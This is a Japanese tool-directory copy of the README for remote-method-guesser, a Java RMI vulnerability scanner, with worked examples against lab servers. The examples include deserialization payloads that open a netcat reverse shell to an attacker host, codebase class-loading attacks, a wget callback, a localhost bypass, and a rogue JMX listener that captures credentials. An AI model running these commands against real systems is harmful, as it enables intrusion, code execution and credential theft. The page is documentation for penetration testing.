Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
remote-method-guesser — Java RMI脆弱性スキャナー | Kitploit
ツール/GitHubGitHub/qtc-de/remote-method-guesser
脆弱性スキャナーエクスプロイトペネトレーションテスト
GitHubqtc-de/remote-method-guesser

remote-method-guesser

Java RMI脆弱性スキャナー

リポジトリを見る
9301062年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Remote Method Guesser


maven CI maven CI

remote-method-guesser(rmg)はJava RMIの脆弱性スキャナーであり、Java RMIエンドポイントにおける一般的なセキュリティ脆弱性の特定および検証に使用できます。

Remote Method Guesser Example

BHUSA Arsenal 2021

remote-method-guesserは、Black Hat USA2021のArsenalセッションで発表されました。セッションの録画と対応するスライドは公開されており、以下のリンクから入手できます。

  • スライド: https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal
  • 録画: https://youtu.be/t_aw1mDNhzI

example server ssrf server spring server

remote-method-guesserリポジトリには、Java RMIの列挙と攻撃の練習に使用できる3つのサンプルサーバーが含まれています。 rmg-example-serverは、通常のRMIサービスを公開しており、remote-method-guesserを使って列挙および悪用できます。 rmg-ssrf-serverは、SSRF攻撃に対して脆弱なHTTPサービスを公開し、localhost上でのみ待ち受けるRMIサービスも実行します。これは、remote-method-guesserの--ssrfおよび--ssrf-responseオプションを使った練習に使用できます。 spring-remoting-serverは、Spring Remotingを介して作成されたRMIインターフェースを公開します。これらは通常のJava RMIとは少し異なり、remote-method-guesserの関連するSpring Remoting統合をテストするために使用できます。 すべてのサーバーは、GitHub Container Registry内のコンテナとして利用可能です。

  • SSRF Server GitHub Package
  • Example Server GitHub Package
  • Spring Remoting Server GitHub Package

目次


  • インストール
  • サポートされている操作
    • bind、rebind、unbind
    • call
    • codebase
    • enum
    • guess
    • known
    • listen
    • objid
    • roguejmx
    • scan
    • serial
  • その他の機能
  • Dockerイメージ
  • 謝辞

インストール


rmgはmavenプロジェクトであり、インストールは簡単です。mavenがインストールされていれば、以下のコマンドを実行して実行可能な.jarファイルを作成できます。```console $ git clone https://github.com/qtc-de/remote-method-guesser $ cd remote-method-guesser $ mvn package

root@kitploit:~
各リリース向けに作成されたプリビルドパッケージを使用することもできます。開発ブランチ用のプリビルドパッケージは自動的に作成され、*GitHub*の[アクションページ](https://github.com/qtc-de/remote-method-guesser/actions)にあります。

*rmg*は*ysoserial*を依存関係として含みません。*ysoserial*サポートを有効にするには、``ysoserial.jar``ファイルへのパスを追加引数として指定するか(例:``--yso /opt/ysoserial.jar``)、プロジェクトをビルドする前に[rmg設定ファイル](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties)内のデフォルトパスを変更する必要があります。

*rmg*は*bash*のオートコンプリートもサポートしています。オートコンプリートを利用するには、[completion-helpers](https://github.com/qtc-de/completion-helpers)プロジェクトがインストールされている必要があります。正しく設定されていれば、[completionスクリプト](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg)を``~/.bash_completion.d``フォルダにコピーするだけでオートコンプリートが有効になります。```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/

サポートされている操作


以下に、利用可能な各操作の簡単な例を示します。より詳細な説明については、rmg および Java RMI 全般に関する詳細情報を含むドキュメンテーションフォルダを読むことをお勧めします。提示されているすべての例は、rmg-example-server と rmg-ssrf-server に基づいています。これらの両方は、このリポジトリの docker フォルダに含まれており、Java RMI の列挙を練習するために使用できます。対応するコンテナを自分でビルドするか、GitHub Container Registry から直接ロードすることができます。```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...

rmg v4.0.0 - a Java RMI Vulnerability Scanner

positional arguments: action
bind Binds an object to the registry thats points to listener call Regulary calls a method with the specified arguments codebase Perform remote class loading attacks enum Enumerate common vulnerabilities on Java RMI endpoints guess Guess methods on bound names known Display details of known remote objects listen Open ysoserials JRMP listener objid Print information contained within an ObjID rebind Rebinds boundname as object that points to listener roguejmx Creates a rogue JMX listener (collect credentials) scan Perform an RMI service scan on common RMI ports serial Perform deserialization attacks against default RMI components unbind Removes the specified bound name from the registry

named arguments: -h, --help show this help message and exit

root@kitploit:~
#### bind、rebind、unbind

``bind``、``rebind``、``unbind``アクションを使用することで、*RMIレジストリ*内で利用可能な*バインド名*を変更することが可能です。
これは特に、ローカルホスト制限をバイパスし、リモートユーザーがbind操作を実行できるようにする``CVE-2019-2684``の検証に役立ちます。
``bind``または``rebind``アクションを使用する場合、*remote-method-guesser*はデフォルトで``javax.management.remote.rmi.RMIServerImpl_Stub`` *RemoteObject*をバインドします。これは*jmx*サーバーで使用される*RemoteObject*です。
さらに、対応する*TCPエンドポイント*のアドレスを指定する必要があります。そのアドレスは、*RemoteObject*が見つかる場所(クライアントがバインドされたオブジェクトを使用しようとするときに接続すべきアドレス)です。```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass 
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- my-object
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

remote-method-guesserのプラグインシステムを使用することで、カスタムオブジェクトをRMIレジストリにバインドすることも可能です。 プラグインシステムの詳細については、ドキュメントフォルダを参照してください。

call

remote-method-guesserのcallアクションを使用すると、Javaコードを記述せずにリモートメソッドを呼び出すことができます。リモートサーバーにメソッドString execute(String cmd)が存在すると仮定します。このメソッドは有望に思え、通常のJava RMI呼び出しを使用して呼び出したいかもしれません。これは以下のコマンドで実行できます:```console [qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server [qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -

root@kitploit:~
Notice that calling remote methods does not create any output by default. To process outputs generated by the ``call`` action, you need
to use *remote-method-guesser's* [plugin system](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md) and register a ``ResponseHandler`` or use the default
`GenericPrint` plugin. `GenericPrint` is inlcuded into *remote-method-guesser* by default and can be activated by using the `--show-response`
option.

リモートメソッドの呼び出しは、デフォルトでは出力を生成しないことに注意してください。``call`` アクションによって生成された出力を処理するには、*remote-method-guesser* の [プラグインシステム](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md) を使用し、``ResponseHandler`` を登録するか、デフォルトの `GenericPrint` プラグインを使用する必要があります。`GenericPrint` は *remote-method-guesser* にデフォルトで含まれており、`--show-response` オプションを使用して有効化できます。```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)

During the call action, the provided arguments are evaluated as Java式 by inserting them into the following template: new Object[]{ arg1, arg2, arg3, ... }. Therefore, you need to make sure that your provided arguments fit into that pattern. E.g. using "id" as an argument results in an error, as the argument is passed as id to remote-method-guesser and the resulting expression new Object[]{ id } is not a valid Java式. Instead, you need to use '"id"' as this leads to new Object[]{ "id" }, which is valid.

さらに、プリミティブ型は対応するオブジェクト表現で指定する必要があります(例:5 の代わりに new Integer(5))。そうしないと、Java式によって作成された Object[] 配列内で使用できません。RMI呼び出し中は、対応する引数は意図されたとおりに使用され、指定したメソッドシグネチャに適合します。より複雑なユースケースでは、remote-method-guessersのプラグインシステムを使用してカスタムの ArgumentProvider を定義することもできます。

コードベース

Java RMIは、クライアントとサーバがRMI呼び出し中にURLを指定できるコードベースと呼ばれる機能をサポートしており、動的に未知のクラスをロードするために使用される可能性があります。RMIサーバがクライアント指定のコードベースを受け入れる場合、クライアントがRMI通信中に悪意のあるJavaクラスを提供すると、リモートコード実行につながる可能性があります。

RMIサーバのコードベース設定は、異なるコンポーネント(アクティベータ、DGC(分散ガベージコレクタ)、レジストリ、アプリケーションレベル)ごとに異なる場合があります。 remote-method-guesserを使用すると、--signature <method>(アプリケーションレベル)、--component act(アクティベータ)、--component dgc(分散ガベージコレクタ)、または--component reg(RMIレジストリ)をcodebaseアクションと一緒に使用して、各コンポーネントを個別にテストできます。

アプリケーションレベル:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -

root@kitploit:~
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] 	Caught ClassCastException during codebase attack.
[+] 	Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -

分散ガベージコレクタ:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -

root@kitploit:~
*アクティベーター*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] 	Caught IllegalArgumentException during codebase attack.
[+] 	Codebase attack was probably successful :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -

enum

The enum action performs several checks on the specified Java RMI endpoint and prints the corresponding results. For a more detailed explanation on the output generated by the enum action, you can read the corresponding documentation page.```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.example/well-hidden-development-folder/ [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enumeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default

root@kitploit:~
#### guess

``guess`` アクションを使用する場合、*remote-method-guesser* はメソッドハッシュをリモートサーバーに送信して、既存のリモートメソッドを特定しようとします。この操作には、対応するメソッド定義を含むワードリストが必要です。*remote-method-guesser* には、ビルドフェーズで ``.jar`` ファイルに組み込まれるデフォルトのワードリストがいくつか付属しています。ワードリストの場所は、[rmg設定ファイル](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) を変更するか、``--wordlist-file`` または ``--wordlist-folder`` オプションを使用することで上書きできます。引数がゼロのメソッドは推測中にスキップされます。これは、サーバー側で実際のメソッド呼び出しを引き起こすためです。``--zero-arg`` スイッチを使用することで、ゼロ引数メソッドの推測を有効にできます。```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

known

enumアクションを実行すると、remote-method-guesserは、RMIレジストリ上の利用可能なバインド名を、既知または未知としてマークします。この判断は、対応するバインド名によって実装されるクラスと、そのクラスがremote-method-guesserリポジトリ内の既知のエンドポイントリストに含まれているかどうかに依存します。バインド名が既知とマークされた場合、対応するクラスに対してknownアクションを使用できます。これにより、利用可能なリモートメソッド、一般的な説明、および潜在的な脆弱性など、対応するクラスに関する情報が返されます。```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter

root@kitploit:~
既知のクラス、その説明、および既知の脆弱性のリストは完全とは言えません。
将来的には拡大していく予定であり、他のユーザーからの情報提供によって成長します。もし、現在不足しているクラスを実装した*RMI エンドポイント* に遭遇し、十分な情報(説明と利用可能なメソッド)をお持ちの場合は、Issue またはプルリクエストを作成してください。


#### listen

悪意のある*JRMPListener*を提供する必要がある場合があります。このリスナーは、着信する*RMI* 接続に対してデシリアライズペイロードを提供します。このようなリスナーをゼロから作成する必要はありません。[ysoserial プロジェクト](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java) ですでに提供されています。
*remote-method-guesser* は、*ysoserial* 実装のラッパーを提供し、通常の*rmg* 構文を使用して*JRMPListener* を起動できるようにします。```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...

objid

objid アクションは、ObjID に関するより詳細な情報を表示するために使用できます。各 RemoteObject は、RMI runtime によってエクスポートされるときに ObjID が割り当てられます。RemoteObject と通信するには ObjID 値の知識が必要であり、これが通常 RMI registry が必要となる理由でもあります。RMI registry には、各 bound name と remote-method-guesser が enum アクション中に表示する ObjID が含まれています。```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]

root@kitploit:~
``ObjID`` 値は異なるコンポーネントで構成されています。これらのコンポーネントは人間が読める形式で表示されるとき、
対応する ``ObjID`` に対して ``objid`` アクションを使用する:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 		1096154566158180646
[+] UID:
[+] 	Unique: 	-734386537
[+] 	Time: 		1638254048332 (Nov 30,2021 07:34)
[+] 	Count: 		-32759

表示される情報のほとんどはそれほど有用ではありませんが、Time 値は興味深い場合があります。この値には、RemoteObject が作成された時刻が含まれています。そのため、RMI サーバーの稼働時間などを特定することができます。

scan

JBoss、Solr、Tomcat など、Java RMI コンポーネントが同梱されていることが多いサービスを特定したものの、該当ホストに対して完全なポートスキャンを実行したくない場合があります。そのような状況では、scan アクションが役立ちます。これは、一般的な RMI ポートのみを対象にクイックポートスキャンを実行し、それらのポートで RMI サービスを特定しようとします。```console [qtc@devbox ~]$ rmg scan 172.17.0.2 [+] Scanning 112 Ports on 172.17.0.2 for RMI services. [+] [+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC) [+] [119 / 119] [#############################] 100% [+] [+] Portscan finished.

root@kitploit:~
デフォルトでは、スキャンアクションは事前設定された一般的な*RMIポート*のリストを使用します。スキャンするポートのリストをカスタマイズするには、``--ports``オプションを使用できます。このオプションは、ポート指定に通常の数字と数値範囲を受け入れます。ダッシュ文字(``-``)を使用して、デフォルトのポートリストを参照できます。```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.

scan アクションは単純かつ信頼性の低い方法で実装されていることに注意してください。可能であれば、nmap のようなツールを使用して専用のポートスキャンを常に実行する必要があります。ただし、scan アクションは RMI ポート の検出に関する素早い目安を提供します。

roguejmx

roguejmx アクションは、システム上に JMX リスナー を作成し、受信接続の認証情報をキャプチャします。リスナーを作成した後、remote-method-guesser は操作に必要な ObjID の値を出力します。```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

root@kitploit:~
``bind`` および ``rebind`` 操作を使用して、このリスナーを *RMI レジストリ* に注入し、他の
ユーザーがサーバーに接続するのを待つ:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials

受信接続はリスナーによってログに記録されます:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!

root@kitploit:~
*remote-method-guesser* は、\*bind\* 操作や不正な *JMX* サーバに対して、*ObjID* 値 ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` をデフォルトで使用します。そのため、上記のように *ObjID* を手動で指定する必要はありません。デフォルトの *ObjID* 値は、コマンドライン引数または *remote-method-guesser* の設定ファイル内で変更できます。

不正な *JMX* サーバは、デフォルトでは受信接続ごとにアクセス例外(無効な認証情報)を返します。ただし、受信接続を別の *JMX* インスタンスに転送することも可能です。これにより、サービスを中断することなく、受信クライアント接続から認証情報を取得できます。接続を転送するには、対応するターゲットを追加の引数として指定する必要があります。ターゲットは次の2つの方法で指定できます。

1. RMIレジストリのIPアドレスとポート、および対応する *JMXインスタンス* のバウンド名:  ```console
  [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi 
  [+] Statring RogueJMX Server on 172.17.0.1:4444
  [+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
  [+] 	--> Forwarding connections to: 172.17.0.2:9010:jmxrmi
  [+]
  1. JMXサービス自体のIPアドレスとポート、およびそのObjID値: ```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 41001 --forward-objid '[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]' [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] --> Forwarding connections to: 172.17.0.2:41001:[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423] [+]
root@kitploit:~
#### serial

*Java RMI* はクライアントサーバー通信において *Java serialized objects* を使用します。これにより、*deserialization attacks* に対して潜在的に脆弱になります。これらの攻撃は異なる *RMI components* を標的とすることができます。

* 既知の *RMI components* (*RMI internals*)
* *RMI registry*
* *DGC*
* *Activator*
* ユーザー定義の *RemoteObjects* (*application level*)

##### 既知の RMI コンポーネント

現代の *RMI servers* ではこれらの *well known RMI components* (*JEP290*) に対して *deserialization filters* が適用されていますが、古いサーバーは依然として *deserialization attacks* に対して脆弱である可能性があります。*remote-method-guesser* は ``serial`` アクションを使用してこれを検証できるようにします。このアクションは、*Activator*、*Distributed Garbage Collector* (*DGC*)、または *RMI registry* に対する deserialization attacks を実行できます。```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	Caught ClassCastException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)

RMIレジストリの場合、デシリアライゼーションフィルターは、JRMPClient または An Trinh バイパスガジェットを使用することで回避される可能性があります。これらのガジェットは、もはやデシリアライゼーションフィルターが適用されないアウトバウンドRMIチャネルを作成します。このチャネル上では、デシリアライゼーション攻撃は通常どおり適用できますが、両方のバイパスは最新バージョンのJava RMIで修正されました。```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.

[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection

